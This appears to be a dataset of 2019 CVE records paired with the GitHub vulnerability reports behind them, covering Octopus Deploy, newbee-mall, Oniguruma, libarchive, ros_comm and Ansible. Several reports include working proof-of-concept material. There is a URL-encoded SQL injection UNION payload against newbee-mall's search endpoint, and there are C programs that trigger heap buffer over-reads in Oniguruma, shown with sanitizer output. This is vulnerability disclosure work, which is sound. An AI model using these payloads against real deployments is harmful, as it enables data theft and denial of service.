Reflect Cross-site Scripting on error message (WEB UI / view.html, graph.js)
|
https://api.github.com/repos/kairosdb/kairosdb/issues/569/comments
| 3
|
2019-10-24T21:22:52Z
|
2020-01-26T13:47:31Z
|
https://github.com/kairosdb/kairosdb/issues/569
| 512,188,289
| 569
| 842
|
CVE-2019-19084
|
2019-11-18T16:15:12.370
|
In Octopus Deploy 3.3.0 through 2019.10.4, an authenticated user with PackagePush permission to upload packages could upload a maliciously crafted package, triggering an exception that exposes underlying operating system details.
|
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"434"
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434
|
https://github.com/OctopusDeploy/Issues/issues/5971
|
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github.com
|
[
"OctopusDeploy",
"Issues"
] |
_Note: affects customers on Octopus Cloud hosted instances. For all other customers this was fixed in https://github.com/OctopusDeploy/Issues/issues/5956_
An authenticated user could upload a maliciously crafted package, triggering an exception that discloses details of the underlying operating system.
CVE: `CVE-2019-19084`
Relates to https://github.com/OctopusDeploy/OctopusDeploy/issues/4684
|
(Hosted only) Local path configuration disclosed when uploading maliciously crafted package
|
https://api.github.com/repos/OctopusDeploy/Issues/issues/5971/comments
| 4
|
2019-11-05T04:10:15Z
|
2020-02-16T23:36:40Z
|
https://github.com/OctopusDeploy/Issues/issues/5971
| 517,537,845
| 5,971
| 843
|
CVE-2019-19085
|
2019-11-18T16:15:12.497
|
A persistent cross-site scripting (XSS) vulnerability in Octopus Server 3.4.0 through 2019.10.5 allows remote authenticated attackers to inject arbitrary web script or HTML.
|
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|
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|
[
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github.com
|
[
"OctopusDeploy",
"Issues"
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An authenticated user with edit permissions could upload a maliciously crafted file, allowing attackers to inject arbitrary web script or HTML.
CVE: CVE-2019-19085
Relates to https://github.com/OctopusDeploy/OctopusDeploy/issues/4642
|
XSS vulnerability
|
https://api.github.com/repos/OctopusDeploy/Issues/issues/5961/comments
| 3
|
2019-11-04T04:11:46Z
|
2020-02-16T23:36:30Z
|
https://github.com/OctopusDeploy/Issues/issues/5961
| 516,951,481
| 5,961
| 844
|
CVE-2019-19113
|
2019-11-18T17:15:11.707
|
main/resources/mapper/NewBeeMallGoodsMapper.xml in newbee-mall (aka New Bee) before 2019-10-23 allows search?goodsCategoryId=&keyword= SQL Injection.
|
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89
|
https://github.com/newbee-ltd/newbee-mall/issues/1
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"newbee-ltd",
"newbee-mall"
] |
\src\main\resources\mapper\NewBeeMallGoodsMapper.xml
```
<select id="findNewBeeMallGoodsListBySearch" parameterType="Map" resultMap="BaseResultMap">
select
<include refid="Base_Column_List"/>
from tb_newbee_mall_goods_info
<where>
<if test="keyword!=null and keyword!=''">
and (goods_name like CONCAT('%','${keyword}','%') or goods_intro like CONCAT('%','${keyword}','%'))
</if>
<if test="goodsCategoryId!=null and goodsCategoryId!=''">
and goods_category_id = #{goodsCategoryId}
</if>
</where>
<if test="orderBy!=null and orderBy!=''">
<choose>
<when test="orderBy == 'new'">
<!-- 按照发布时间倒序排列 -->
order by goods_id desc
</when>
<when test="orderBy == 'price'">
<!-- 按照售价从小到大排列 -->
order by selling_price asc
</when>
<otherwise>
<!-- 默认按照库存数量从大到小排列 -->
order by stock_num desc
</otherwise>
</choose>
</if>
<if test="start!=null and limit!=null">
limit #{start},#{limit}
</if>
</select>
```
Where ${keyword} is used for splicing sql statements, there is a risk of SQL injection.
poc：
> http://127.0.0.1:28089/search?goodsCategoryId=&keyword=%5C%25%27%29%29%20%55%4E%49%4F%4E%20%41%4C%4C%20%53%45%4C%45%43%54%20%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%43%4F%4E%43%41%54%28%30%78%37%31%37%36%36%32%37%38%37%31%2C%49%46%4E%55%4C%4C%28%43%41%53%54%28%43%55%52%52%45%4E%54%5F%55%53%45%52%28%29%20%41%53%20%43%48%41%52%29%2C%30%78%32%30%29%2C%30%78%37%31%36%32%37%38%36%62%37%31%29%2C%4E%55%4C%4C%2C%4E%55%4C%4C%23&orderBy=default
We will find a sql error, which proves that the vulnerability already exists.
|
SQL Injection in ` \src\main\resources\mapper\NewBeeMallGoodsMapper.xml `
|
https://api.github.com/repos/newbee-ltd/newbee-mall/issues/1/comments
| 1
|
2019-10-19T16:20:39Z
|
2019-10-23T15:47:52Z
|
https://github.com/newbee-ltd/newbee-mall/issues/1
| 509,475,318
| 1
| 845
|
CVE-2019-19203
|
2019-11-21T21:15:11.497
|
An issue was discovered in Oniguruma 6.x before 6.9.4_rc2. In the function gb18030_mbc_enc_len in file gb18030.c, a UChar pointer is dereferenced without checking if it passed the end of the matched string. This leads to a heap-based buffer over-read.
|
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125
|
https://github.com/kkos/oniguruma/issues/163
|
[
"Exploit",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"kkos",
"oniguruma"
] |
In gb18030_mbc_enc_len, p ++ then p is dereferenced without checking if it passes the end of string, which leads to heap-buffer-overflow.
```
static int
gb18030_mbc_enc_len(const UChar* p)
{
if (GB18030_MAP[*p] != CM)
return 1;
p++;
if (GB18030_MAP[*p] == C4)
return 4;
return 2;
}
```
PoC:
```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = (char*)malloc(6);
memcpy(pattern, "[\\W]\\w", 6);
char *pattern_end = pattern + 6;
OnigEncodingType *enc = ONIG_ENCODING_GB18030;
char* str = (char*)malloc(2);
memcpy(str, "\xe1\xe1", 2);
char* str_end = str+2;
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_NONE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
```
Compilation:
```
./configure CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address CC=gcc
make
gcc -fsanitize=address -I./oniguruma-gcc-asan/src ./poc-gb18030_mbc_enc_len.c ./oniguruma-gcc-asan/src/.libs/libonig.a -o poc-gb18030_mbc_enc_len
```
Output of PoC:
```
=================================================================
==1657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd2 at pc 0x000000487af9 bp 0x7ffcaa15b840 sp 0x7ffcaa15b830
READ of size 1 at 0x60200000efd2 thread T0
#0 0x487af8 in gb18030_mbc_enc_len /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72
#1 0x47bf9a in onigenc_mbn_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:774
#2 0x487df4 in gb18030_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:121
#3 0x45eb99 in match_at /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:3271
#4 0x474479 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5382
#5 0x473370 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5168
#6 0x401278 in search (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x401278)
#7 0x401993 in main (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x401993)
#8 0x7f3fc8e9c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x401098 in _start (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x401098)
0x60200000efd2 is located 0 bytes to the right of 2-byte region [0x60200000efd0,0x60200000efd2)
allocated by thread T0 here:
#0 0x7f3fc92de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x4017e3 in main (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x4017e3)
#2 0x7f3fc8e9c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72 gb18030_mbc_enc_len
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 04 fa
0x0c047fff9dc0: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa 06 fa
0x0c047fff9dd0: fa fa 00 00 fa fa 06 fa fa fa 00 00 fa fa 04 fa
0x0c047fff9de0: fa fa 00 00 fa fa 00 01 fa fa 00 00 fa fa 00 00
=>0x0c047fff9df0: fa fa 05 fa fa fa 00 00 fa fa[02]fa fa fa 06 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==1657==ABORTING
```
|
heap-buffer-overflow in gb18030_mbc_enc_len
|
https://api.github.com/repos/kkos/oniguruma/issues/163/comments
| 2
|
2019-11-06T09:39:01Z
|
2019-11-21T22:19:38Z
|
https://github.com/kkos/oniguruma/issues/163
| 518,351,276
| 163
| 846
|
CVE-2019-19204
|
2019-11-21T21:15:11.577
|
An issue was discovered in Oniguruma 6.x before 6.9.4_rc2. In the function fetch_interval_quantifier (formerly known as fetch_range_quantifier) in regparse.c, PFETCH is called without checking PEND. This leads to a heap-based buffer over-read.
|
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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}
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[
"125"
] |
125
|
https://github.com/kkos/oniguruma/issues/162
|
[
"Exploit",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"kkos",
"oniguruma"
] |
At regparse.c:4182 in fetch_interval_quantifier, PFETCH is called without checking PEND:
```PFETCH(c);
if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) {
if (c != MC_ESC(env->syntax)) goto invalid;
PFETCH(c);
}
```
This leads to heap-buffer-overflow.
PoC:
```
#include <stdlib.h>
#include <string.h>
#include "oniguruma.h"
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = (char*)malloc(6);
memcpy(pattern, "_\\{21\\", 6);
char *pattern_end = pattern + 6;
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_NONE, enc, ONIG_SYNTAX_GREP, &einfo);
if (r == ONIG_NORMAL) {
onig_free(reg);
}
onig_end();
return 0;
}
```
Compilation of oniguruma and PoC:
```
./configure CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address CC=gcc
make
gcc -fsanitize=address -I./src poc.c ./src/.libs/libonig.a -o poc
```
Output of PoC:
```
=================================================================
==32058==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff6 at pc 0x00000044cb35 bp 0x7fffe9b35350 sp 0x7fffe9b35340
READ of size 1 at 0x60200000eff6 thread T0
#0 0x44cb34 in onigenc_single_byte_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704
#1 0x4683a0 in fetch_interval_quantifier /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:4182
#2 0x46e79a in fetch_token /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:5009
#3 0x481e9f in parse_exp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:7974
#4 0x483de7 in parse_branch /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8303
#5 0x48431b in parse_alts /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8354
#6 0x484808 in parse_regexp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8413
#7 0x484db1 in onig_parse_tree /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8468
#8 0x423c6b in onig_compile /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6694
#9 0x424e53 in onig_new /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6964
#10 0x401265 in main poc-fetch_interval_quantifier-2-PFETCH.c:24
#11 0x7ff6af3ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401048 in _start (/root/fuzz/fuzz_oniguruma/poc-fetch_interval_quantifier-2-PFETCH+0x401048)
0x60200000eff6 is located 0 bytes to the right of 6-byte region [0x60200000eff0,0x60200000eff6)
allocated by thread T0 here:
#0 0x7ff6af841602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x4011e2 in main poc-fetch_interval_quantifier-2-PFETCH.c:17
#2 0x7ff6af3ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704 onigenc_single_byte_mbc_to_code
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 00
0x0c047fff9dd0: fa fa 06 fa fa fa 00 00 fa fa 06 fa fa fa 00 00
0x0c047fff9de0: fa fa 04 fa fa fa 00 00 fa fa 00 01 fa fa 00 00
=>0x0c047fff9df0: fa fa 00 00 fa fa 05 fa fa fa 00 00 fa fa[06]fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==32058==ABORTING
```
|
heap-buffer-overflow in fetch_interval_quantifier due to double PFETCH
|
https://api.github.com/repos/kkos/oniguruma/issues/162/comments
| 2
|
2019-11-06T07:43:08Z
|
2019-11-21T22:19:15Z
|
https://github.com/kkos/oniguruma/issues/162
| 518,296,883
| 162
| 847
|
CVE-2019-19221
|
2019-11-21T23:15:13.887
|
In Libarchive 3.4.0, archive_wstring_append_from_mbs in archive_string.c has an out-of-bounds read because of an incorrect mbrtowc or mbtowc call. For example, bsdtar crashes via a crafted archive.
|
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}
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[
"125"
] |
125
|
https://github.com/libarchive/libarchive/issues/1276
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"libarchive",
"libarchive"
] |
bsdtar: An error in archive_wstring_append_from_mbs() (archive_string.c) triggers an out-of-bounds read memory access that results into a crash, via a specially crafted archive file. This bug was found using our custom fuzzer.
Basic Information:
Version of libarchive: libarchive-3.4.0, libarchive-3.4.1dev
How you obtained it: build from source
libarchive-3.4.0.tar.gz (https://www.libarchive.org/)
libarchive-3.4.1dev (https://github.com/libarchive/libarchive)
Tested operating system and version: Linux 4.15.0-65-generic x86_64
Tested compilers versions: gcc (version 7.4.0) and clang (version 6.0.0-1ubuntu2)
What other files were involved?
To trigger the bug, use the the crashing input file crash_file_1 (unzip crash-file.zip).
[crash-file.zip](https://github.com/libarchive/libarchive/files/3817773/crash-file.zip)
============
Command to reproduce the bug using valgrind:
$ valgrind -v ./bsdtar -t -f crash_file_1
Output (partial):
```
bsdtar: (null)
bsdtar: Error exit delayed from previous errors.
HEAP SUMMARY:
in use at exit: 0 bytes in 0 blocks
total heap usage: 89 allocs, 89 frees, 285,279 bytes allocated
All heap blocks were freed -- no leaks are possible
ERROR SUMMARY: 2 errors from 1 contexts (suppressed: 0 from 0)
2 errors in context 1 of 1:
Invalid read of size 1
at 0x5081825: utf8_internal_loop_single (loop.c:427)
by 0x5081825: __gconv_transform_utf8_internal (skeleton.c:563)
by 0x5116B12: mbrtowc (mbrtowc.c:86)
by 0x14D998: archive_wstring_append_from_mbs (archive_string.c:622)
by 0x14E19B: archive_mstring_get_wcs (archive_string.c:3941)
by 0x116EF5: archive_entry_pathname_w (archive_entry.c:586)
by 0x148297: zip_read_local_file_header (archive_read_support_format_zip.c:1038)
by 0x1487EC: archive_read_format_zip_streamable_read_header (archive_read_support_format_zip.c:3083)
by 0x11E1AB: _archive_read_next_header2 (archive_read.c:658)
by 0x11E2FE: _archive_read_next_header (archive_read.c:696)
by 0x112725: read_archive (read.c:260)
by 0x112E1F: tar_mode_t (read.c:94)
by 0x1114C6: main (bsdtar.c:913)
Address 0x5490f47 is 0 bytes after a block of size 167 alloc'd
at 0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
by 0x14A6E3: archive_string_ensure (archive_string.c:314)
by 0x14A78A: archive_string_append (archive_string.c:203)
by 0x14DF0D: archive_strncat_l (archive_string.c:1980)
by 0x14E4C5: archive_strncpy_l (archive_string.c:1944)
by 0x14E4C5: archive_mstring_copy_mbs_len_l (archive_string.c:4153)
by 0x147D95: zip_read_local_file_header (archive_read_support_format_zip.c:995)
by 0x1487EC: archive_read_format_zip_streamable_read_header (archive_read_support_format_zip.c:3083)
by 0x11E1AB: _archive_read_next_header2 (archive_read.c:658)
by 0x11E2FE: _archive_read_next_header (archive_read.c:696)
by 0x112725: read_archive (read.c:260)
by 0x112E1F: tar_mode_t (read.c:94)
ERROR SUMMARY: 2 errors from 1 contexts (suppressed: 0 from 0)
```
Possible cause:
---------------
In archive_wstring_append_from_mbs() (archive_string.c):
```
int archive_wstring_append_from_mbs(struct archive_wstring *dest,
const char *p, size_t len){
...
const char *mbs = p;
...
while (*mbs && mbs_length > 0) {
...
...
r = mbrtowc(wcs, mbs, wcs_length, &shift_state);
...
if (r == (size_t)-1 || r == (size_t)-2) {
ret_val = -1;
if (errno == EILSEQ) {
++mbs;
--mbs_length;
continue;
} else
break;
}
...
...
}
}
```
mbrtowc() function is called with the following parameter values: wcs_length = 3, mbs_length = 1, mbs = 0x7ffff6a43ffe "\212".
r = mbrtowc(wcs, mbs, wcs_length, &shift_state);
Here, "mbs" has a length of 1 byte, while, mbrtowc() tends to read 3 bytes (wcs_length = 3), thus resulting into memory out of bounds read.
The program crashes due to memory access violation, which can cause denial of service.
The values {wcs_length = 3, mbs_length = 1} are reached, if return value of mbrtowc() is r = -1 or r = -2 in the previous iteration of the while loop. "mbs" pointer increases (++mbs), and "mbs_length" length decreases (--mbs_length), but wcs_length remains constant (3 bytes in this case).
|
bsdtar: An error in archive_wstring_append_from_mbs() (archive_string.c) allows out-of-bounds read memory access and subsequently cause a crash
|
https://api.github.com/repos/libarchive/libarchive/issues/1276/comments
| 2
|
2019-11-07T03:40:18Z
|
2019-11-21T22:25:59Z
|
https://github.com/libarchive/libarchive/issues/1276
| 519,020,870
| 1,276
| 848
|
CVE-2019-13566
|
2019-11-22T21:15:10.880
|
An issue was discovered in the ROS communications-related packages (aka ros_comm or ros-melodic-ros-comm) through 1.14.3. A buffer overflow allows attackers to cause a denial of service and possibly execute arbitrary code via an IP address with a long hostname.
|
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120
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[
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github.com
|
[
"ros",
"ros_comm"
] |
Using Coverity static analysis tool report a potential string overflow in the following code:
(10) Event fixed_size_dest: You might overrun the 128-character fixed-size string "namebuf" by copying the return value of "inet_ntoa" without checking the length.
https://github.com/ros/ros_comm/blob/29053c4832229efa7160fb944c05e3bc82e11540/clients/roscpp/src/libros/transport/transport_udp.cpp#L715
(12) Event fixed_size_dest: | You might overrun the 128-character fixed-size string "namebuf" by copying the return value of "inet_ntoa" without checking the length.
https://github.com/ros/ros_comm/blob/29053c4832229efa7160fb944c05e3bc82e11540/clients/roscpp/src/libros/transport/transport_tcp.cpp#L744
(15) Event fixed_size_dest: | You might overrun the 128-character fixed-size string "namebuf" by copying the return value of "inet_ntoa" without checking the length.
https://github.com/ros/ros_comm/blob/29053c4832229efa7160fb944c05e3bc82e11540/clients/roscpp/src/libros/transport/transport_tcp.cpp#L291
|
Coverity report potential string overflow in transport_udp.cpp
|
https://api.github.com/repos/ros/ros_comm/issues/1735/comments
| 2
|
2019-07-02T19:28:39Z
|
2019-11-28T09:25:32Z
|
https://github.com/ros/ros_comm/issues/1735
| 463,397,685
| 1,735
| 849
|
CVE-2019-13566
|
2019-11-22T21:15:10.880
|
An issue was discovered in the ROS communications-related packages (aka ros_comm or ros-melodic-ros-comm) through 1.14.3. A buffer overflow allows attackers to cause a denial of service and possibly execute arbitrary code via an IP address with a long hostname.
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https://github.com/ros/ros_comm/issues/1752
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github.com
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[
"ros",
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Copy the Internet host address of address->sin_addr to local variable with checking the buffer length, can cause potential buffer overflow if using a IP address with a long hostname that is obtained via a reverse DNS lookup
https://github.com/ros/ros_comm/blob/29053c4832229efa7160fb944c05e3bc82e11540/clients/roscpp/src/libros/transport/transport_tcp.cpp#L287-L291
|
Potential buffer overflow
|
https://api.github.com/repos/ros/ros_comm/issues/1752/comments
| 1
|
2019-07-10T19:24:37Z
|
2019-08-07T22:56:26Z
|
https://github.com/ros/ros_comm/issues/1752
| 466,477,248
| 1,752
| 850
|
CVE-2019-10217
|
2019-11-25T16:15:13.347
|
A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.
|
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github.com
|
[
"ansible",
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<!--- Verify first that your issue is not already reported on GitHub -->
<!--- Also test if the latest release and devel branch are affected too -->
<!--- Complete *all* sections as described, this form is processed automatically -->
##### SUMMARY
<!--- Explain the problem briefly below -->
When I use `service_account_contents` option, the module call fails.
When adding a debug task with `"{{ lookup('file', gitlab_sa_key_path) }}"`the json content is properly displayed.
##### ISSUE TYPE
- Bug Report
##### COMPONENT NAME
gcp_storage_object.py
##### ANSIBLE VERSION
<!--- Paste verbatim output from "ansible --version" between quotes -->
```
ansible 2.8.0rc2
config file = None
configured module search path = ['/Users/romain.albon/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
ansible python module location = /Users/romain.albon/.virtualenvs/gcp-tools/lib/python3.7/site-packages/ansible
executable location = /Users/romain.albon/.virtualenvs/gcp-tools/bin/ansible
python version = 3.7.1 (default, Nov 6 2018, 18:46:03) [Clang 10.0.0 (clang-1000.11.45.5)]
```
##### CONFIGURATION
<!--- Paste verbatim output from "ansible-config dump --only-changed" between quotes -->
```
ANSIBLE_FORCE_COLOR(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = True
ANSIBLE_SSH_ARGS(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = -F ssh_config
DEFAULT_REMOTE_USER(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = ansible
DEFAULT_ROLES_PATH(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = ['/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/roles-external', '/Us
DEFAULT_VAULT_PASSWORD_FILE(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = /Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible_vault_
HOST_KEY_CHECKING(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = False
RETRY_FILES_ENABLED(/Users/romain.albon/Documents/Projects/FnacDarty/gcp-tools/ansible/ansible.cfg) = False
```
##### OS / ENVIRONMENT
N/A
##### STEPS TO REPRODUCE
<!--- Describe exactly how to reproduce the problem, using a minimal test-case -->
<!--- Paste example playbooks or commands between quotes below -->
```yaml
- name: Trigger gitlab upload of gitlab-secrets file
gcp_storage_object:
action: upload
bucket: "{{ gitlab_backup_gcs_name }}"
src: /etc/gitlab/gitlab-secrets.json
dest: "{{ backup_id.stdout }}_gitlab-secrets.json"
auth_kind: "serviceaccount"
service_account_contents: "{{ lookup('file', gitlab_sa_key_path) }}"
```
<!--- HINT: You can paste gist.github.com links for larger files -->
##### EXPECTED RESULTS
<!--- Describe what you expected to happen when running the steps above -->
File uploaded
##### ACTUAL RESULTS
<!--- Describe what actually happened. If possible run with extra verbosity (-vvvv) -->
<!--- Paste verbatim command output between quotes -->
```
fatal: [tools-gitlab-dev]: FAILED! => {
"changed": false,
"module_stderr": "Warning: Permanently added 'XX.XXX.113.232' (ECDSA) to the list of known hosts.\r\nWarning: Permanently added 'XXX' (ECDSA) to the list of known hosts.\r\nConnection to XXX closed.\r\n",
"module_stdout": "Traceback (most recent call last):\r\n File \"/home/ansible/.ansible/tmp/ansible-tmp-1557410508.844717-145048655204206/AnsiballZ_gcp_storage_object.py\", line 114, in <module>\r\n _ansiballz_main()\r\n File \"/home/ansible/.ansible/tmp/ansible-tmp-1557410508.844717-145048655204206/AnsiballZ_gcp_storage_object.py\", line 106, in _ansiballz_main\r\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\r\n File \"/home/ansible/.ansible/tmp/ansible-tmp-1557410508.844717-145048655204206/AnsiballZ_gcp_storage_object.py\", line 49, in invoke_module\r\n imp.load_module('__main__', mod, module, MOD_DESC)\r\n File \"/tmp/ansible_gcp_storage_object_payload_n1xrc9/__main__.py\", line 284, in <module>\r\n File \"/tmp/ansible_gcp_storage_object_payload_n1xrc9/__main__.py\", line 154, in main\r\n File \"/tmp/ansible_gcp_storage_object_payload_n1xrc9/__main__.py\", line 224, in fetch_resource\r\n File \"/tmp/ansible_gcp_storage_object_payload_n1xrc9/ansible_gcp_storage_object_payload.zip/ansible/module_utils/gcp_utils.py\", line 79, in get\r\n File \"/tmp/ansible_gcp_storage_object_payload_n1xrc9/ansible_gcp_storage_object_payload.zip/ansible/module_utils/gcp_utils.py\", line 126, in session\r\n File \"/tmp/ansible_gcp_storage_object_payload_n1xrc9/ansible_gcp_storage_object_payload.zip/ansible/module_utils/gcp_utils.py\", line 155, in _credentials\r\n File \"/usr/lib/python2.7/json/__init__.py\", line 339, in loads\r\n return _default_decoder.decode(s)\r\n File \"/usr/lib/python2.7/json/decoder.py\", line 364, in decode\r\n obj, end = self.raw_decode(s, idx=_w(s, 0).end())\r\n File \"/usr/lib/python2.7/json/decoder.py\", line 380, in raw_decode\r\n obj, end = self.scan_once(s, idx)\r\nValueError: Expecting property name: line 1 column 2 (char 1)\r\n",
"msg": "MODULE FAILURE\nSee stdout/stderr for the exact error",
"rc": 1
}
```
|
gcp_storage_object fails with service_account_contents option
|
